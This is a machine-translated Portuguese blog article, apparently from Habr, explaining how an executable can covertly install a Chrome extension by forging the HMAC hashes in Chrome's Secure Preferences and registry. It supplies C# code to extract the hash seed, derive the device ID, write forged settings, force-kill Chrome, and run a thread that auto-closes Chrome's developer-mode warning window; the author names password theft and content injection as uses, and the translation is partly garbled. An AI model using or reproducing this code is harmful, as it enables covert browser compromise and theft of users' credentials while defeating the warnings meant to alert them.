Instalação reversa e extensão do Chrome



Bom dia, querido leitor! O Chrome é atualizado, mas não há novos artigos sobre como instalar programaticamente uma extensão no chrome, além de --load-extension - mas essa não é a nossa opção, porque não estamos procurando maneiras fáceis. Hoje vou lhe contar como é realmente possível obter tudo com um exe-shnik: senhas, alterar conteúdo, como roubar, etc. - mas este não é um plano de ação , mas apenas um artigo para revisão. Todo o suco por baixo do corte.

E então, o que nos permite fazer a extensão no modo de desenvolvedor? Bem, como uma extensão regular, ele pode funcionar em todos os sites e, por exemplo, quebrar senhas, implementar anúncios e assim por diante. Mas a extensão no modo de desenvolvedor dá acesso a outro recurso, que parece não ser muito importante, mas pode ser útil: temos acesso ao sistema de arquivos. Sim, lançaremos essa exploração a partir de um arquivo exe e, em princípio, não precisamos realmente dela, mas e se?

Analisamos arquivos


E assim, para iniciantes, você pode ver quais arquivos serão diferentes após a instalação da extensão. Podemos descobrir que é% appdata% \ .. \ Local \ Google \ Chrome \ Dados do Usuário \ <profile> \ Preferências Seguras. Vamos copiar o conteúdo, excluir a extensão e restaurar a cópia - bam aqui! e a expansão funciona novamente. Observando o ID, você pode ver que dois valores estão mudando com esta chave: extensions.settings.id e protection.macs.extensions.settings.id - o primeiro são configurações, o segundo é algum tipo de hash. Subimos nas sortes e vemos - este é o HMAC SHA256. Mas do que ele conseguiu isso? Vamos entrar no depurador, anexar ao chrome e carregar símbolos de
https://chromium-browser-symsrv.commondatastorage.googleapis.com

Estupro cromado


Uau! Encontramos o arquivo pref_hash_calculator.cc, baixamos, definimos uma pausa em

 std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const 

Op - obtemos seed_ - a chave para o HMAC, e também descobrimos que ela concatena três linhas e leva o resultado como HMACSHA256 (device_id + path + value, seed_). Ok, vejamos nossa semente_ - e aqui o primeiro desgosto nos espera: é apenas a linha “ChromeRegistryHashStoreValidationSeed” - pergunte, o que há de errado com isso? E vamos olhar o resultado do cálculo, comparar o hash e o hash resultantes no arquivo nesse caminho - estamos desapontados, mas não! A palavra-chave na chave "Registro", entramos no registro, olha - e, de fato, essa é a chave para hashes no registro, precisamos dela.

Débito, degradação e em toda parte apenas essa chave, o que está errado? Agora, vamos dar uma olhada em quanto tempo deve ser uma chave padrão para o HMACSHA256? 64 bytes, e provavelmente isso não é uma linha, mas algum tipo de byte. Classificação? Não tem tempo! A primeira suposição - nossa semente_ é codificada em cada versão do chrome - vamos tentar classificar todas as opções para 64x bytes consecutivos em binários e arquivos chrome. Escrevemos um script simples e em cerca de uma hora obtemos o primeiro resultado: nossa semente_ está em resources.pak. Vamos pesquisar na estrutura.



Versão 4, a nossa é 5. Algo está errado, talvez a estrutura não tenha mudado? Mas não. Após algumas tentativas, obtemos que a estrutura é a seguinte: versão de 4 bytes (5), 4 bytes - codificação? (1), 2 bytes - número de registros, 2 bytes, não está claro o que. A seguir, estão as entradas no formato: 2 bytes - ID, 4 bytes - deslocamento em relação ao início do arquivo. Estamos procurando uma seção com um comprimento de 64 bytes - e sim, achamos, esta é a nossa semente_. Agora vamos escrever uma função para procurar seed_ em resources.pak para o arquivo de versão 4 e 5:

 public static byte[] GetSeed(string resources_pak) { //Open stream using (FileStream fs = File.OpenRead(resources_pak)) using (BinaryReader reader = new BinaryReader(fs)) { // Read in all pairs. //4 bytes - Version (Assume, that is 5 or 4) int version = reader.ReadInt32(); int second_dword = reader.ReadInt32(); int count = 0; if (version == 0x05) { count = (reader.ReadUInt16()) + 1; reader.ReadUInt16(); } else { count = second_dword; //Skip useless byte reader.ReadByte(); } uint last_offset = (uint)(count) * 6 + (uint)fs.Position; for (int i = 0; i < count; i++) { //Word: ID uint id = (uint)reader.ReadInt16(); //DWord: Offset from file start uint offset = (reader.ReadUInt32()); //Assume, that seed_ is 64 bytes long if (offset - last_offset == 64) { //Save last position in file long last = fs.Position; //Go to section position fs.Seek(last_offset, SeekOrigin.Begin); //Allocate space uint want = offset - last_offset; byte[] u = new byte[want]; for (int o = 0; o < want; o++) u[o] = reader.ReadByte(); //Return carret back fs.Seek(last, SeekOrigin.Begin); return u; } last_offset = offset; } } return null; } 

Ok, vamos alterar as configurações e tentar substituir a falha de hash. A primeira coisa que pode ser encontrada nas classificações de cromo é que todos os objetos vazios são removidos do valor. OK, já foi dito.

Mais uma vez falha - precisamos gerar o mesmo HMACSHA256 a partir de protection.macs, o caminho nesse caso deve ser omitido. Ótimo! Recebido. Mas esquecemos completamente o device_id - onde posso obtê-lo? Nas versões mais antigas, esse é o MachineID de alguma biblioteca RLZ de terceiros. Nos novos, apenas o SID do PC. Como conseguir isso? Para a segunda opção e novas versões do chrome:

 public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else { // Consider throwing an exception since no result was found } if (err == 0) { if (!ConvertSidToStringSid(Sid, out IntPtr ptrSid)) { err = Marshal.GetLastWin32Error(); } else { string sidString = Marshal.PtrToStringAuto(ptrSid); LocalFree(ptrSid); return sidString; } } return null; } 

E, para a versão antiga:

 public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); } 

E assim, resta zombar das configurações e salvar o arquivo, mas fechando o chrome:

  public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = "  "; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process(); // Stop the process from opening a new window process.StartInfo.RedirectStandardOutput = true; process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true; // Setup executable and parameters process.StartInfo.FileName = @"taskkill.exe"; process.StartInfo.Arguments = "/im chrome.exe /f"; // Go process.Start(); process.WaitForExit(); Thread.Sleep(150); File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", preferences); } 

Além disso, observe que agora, quando você abre o navegador, a janela "Desativando extensões no modo de desenvolvedor" é aberta - como fechá-lo já é uma opção de todos. Como posso deixar um fluxo depois de mim que fechará esta janela através do WinAPI:

 public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } } 

Boa sorte e hackers éticos! Quem sabe fazer o mesmo com o Yandex Browser - seria muito interessante saber se estou tentando buscá-lo há uma semana, mas não está funcionando.

Source: https://habr.com/ru/post/pt438898/


All Articles